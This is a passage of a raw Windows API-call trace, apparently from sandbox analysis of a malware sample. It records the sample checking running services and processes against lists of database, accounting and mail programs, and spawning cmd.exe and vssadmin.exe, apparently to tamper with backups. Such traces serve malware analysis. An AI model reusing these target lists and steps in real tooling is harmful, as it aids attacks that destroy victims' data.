[0066.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0066.487] lstrlenW (lpString="VSS") returned 3 [0066.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0066.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0066.487] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0066.487] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0066.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0066.487] lstrlenW (lpString="WdiServiceHost") returned 14 [0066.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0066.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0066.487] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0066.487] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0066.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0066.487] lstrlenW (lpString="WdiSystemHost") returned 13 [0066.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0066.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0066.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0066.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0066.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0066.488] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0066.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0066.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0066.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0066.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0066.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0066.488] lstrlenW (lpString="Winmgmt") returned 7 [0066.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0066.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0066.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0066.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0066.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0066.488] lstrlenW (lpString="WPDBusEnum") returned 10 [0066.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0066.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0066.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0066.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0066.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0066.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f93008 | out: hHeap=0x5a0000) returned 1 [0066.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x170 [0066.491] Process32FirstW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.492] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.492] lstrlenW (lpString="System") returned 6 [0066.492] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0066.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0066.492] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0066.492] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0066.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0066.493] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0066.493] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0066.493] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.493] lstrlenW (lpString="smss.exe") returned 8 [0066.493] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0066.493] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0066.493] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0066.493] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0066.493] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0066.493] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0066.493] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0066.493] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.494] lstrlenW (lpString="csrss.exe") returned 9 [0066.494] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0066.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0066.494] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0066.494] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0066.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0066.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0066.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0066.494] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.495] lstrlenW (lpString="wininit.exe") returned 11 [0066.495] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0066.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0066.495] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0066.495] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.496] lstrlenW (lpString="csrss.exe") returned 9 [0066.496] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.496] lstrlenW (lpString="winlogon.exe") returned 12 [0066.496] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.497] lstrlenW (lpString="services.exe") returned 12 [0066.497] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.497] lstrlenW (lpString="lsass.exe") returned 9 [0066.497] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0066.498] lstrlenW (lpString="lsm.exe") returned 7 [0066.498] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.499] lstrlenW (lpString="svchost.exe") returned 11 [0066.499] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.499] lstrlenW (lpString="svchost.exe") returned 11 [0066.499] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.500] lstrlenW (lpString="svchost.exe") returned 11 [0066.500] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.500] lstrlenW (lpString="svchost.exe") returned 11 [0066.500] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.501] lstrlenW (lpString="svchost.exe") returned 11 [0066.501] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0066.501] lstrlenW (lpString="audiodg.exe") returned 11 [0066.502] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.502] lstrlenW (lpString="svchost.exe") returned 11 [0066.502] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.503] lstrlenW (lpString="svchost.exe") returned 11 [0066.503] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.503] lstrlenW (lpString="dwm.exe") returned 7 [0066.503] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0066.504] lstrlenW (lpString="explorer.exe") returned 12 [0066.504] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0066.504] lstrlenW (lpString="spoolsv.exe") returned 11 [0066.504] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.505] lstrlenW (lpString="taskhost.exe") returned 12 [0066.505] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.506] lstrlenW (lpString="svchost.exe") returned 11 [0066.506] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0066.506] lstrlenW (lpString="taskeng.exe") returned 11 [0066.506] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.507] lstrlenW (lpString="taskhost.exe") returned 12 [0066.507] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0066.507] lstrlenW (lpString="promotesrouting.exe") returned 19 [0066.507] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0066.508] lstrlenW (lpString="rxcalled.exe") returned 12 [0066.508] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0066.508] lstrlenW (lpString="off.exe") returned 7 [0066.508] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0066.509] lstrlenW (lpString="mayorintl.exe") returned 13 [0066.509] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0066.510] lstrlenW (lpString="gzip-june.exe") returned 13 [0066.510] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0067.892] lstrlenW (lpString="lsnavy.exe") returned 10 [0067.892] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0067.893] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0067.893] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0067.893] lstrlenW (lpString="specifications.exe") returned 18 [0067.893] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0067.896] lstrlenW (lpString="soup-mario.exe") returned 14 [0067.896] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0067.896] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0067.897] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0067.897] lstrlenW (lpString="platformsprivate.exe") returned 20 [0067.897] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0067.898] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0067.898] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0067.898] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0067.898] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0067.899] lstrlenW (lpString="scan-allows.exe") returned 15 [0067.899] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0067.899] lstrlenW (lpString="mwprovince.exe") returned 14 [0067.899] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0067.900] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0067.900] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0067.900] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0067.900] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0067.901] lstrlenW (lpString="contacting.exe") returned 14 [0067.901] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0067.902] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0067.902] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0067.903] lstrlenW (lpString="jpmanagers.exe") returned 14 [0067.903] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0067.904] lstrlenW (lpString="motor.exe") returned 9 [0067.904] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0067.904] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0067.904] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0067.905] lstrlenW (lpString="toshiba.exe") returned 11 [0067.905] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.905] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.906] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0067.906] lstrlenW (lpString="3G6885.exe") returned 10 [0067.906] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0067.907] lstrlenW (lpString="cmd.exe") returned 7 [0067.907] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.907] lstrlenW (lpString="conhost.exe") returned 11 [0067.907] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0067.908] lstrlenW (lpString="vssadmin.exe") returned 12 [0067.908] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0067.908] lstrlenW (lpString="VSSVC.exe") returned 9 [0067.908] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.909] lstrlenW (lpString="svchost.exe") returned 11 [0067.909] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0067.909] lstrlenW (lpString="LogonUI.exe") returned 11 [0067.909] Process32NextW (in: hSnapshot=0x170, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0067.910] CloseHandle (hObject=0x170) returned 1 [0067.910] Sleep (dwMilliseconds=0x1f4) [0068.761] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fa808 [0068.762] EnumServicesStatusExW (in: hSCManager=0x5fa808, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, 